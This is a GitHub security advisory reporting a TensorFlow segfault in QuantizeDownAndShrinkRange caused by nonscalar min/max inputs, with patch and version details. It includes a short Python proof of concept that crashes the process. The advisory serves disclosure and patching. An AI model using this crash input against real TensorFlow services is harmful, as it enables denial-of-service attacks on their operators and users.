GHSA-vgvh-2pf4-jr2x: TensorFlow vulnerable to segfault in `QuantizeDownAndShrinkRange`
Impact
If QuantizeDownAndShrinkRange is given nonscalar inputs for input_min or input_max, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type)
Patches
We have patched the issue in GitHub commit 73ad1815ebcfeb7c051f9c2f7ab5024380ca8613.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
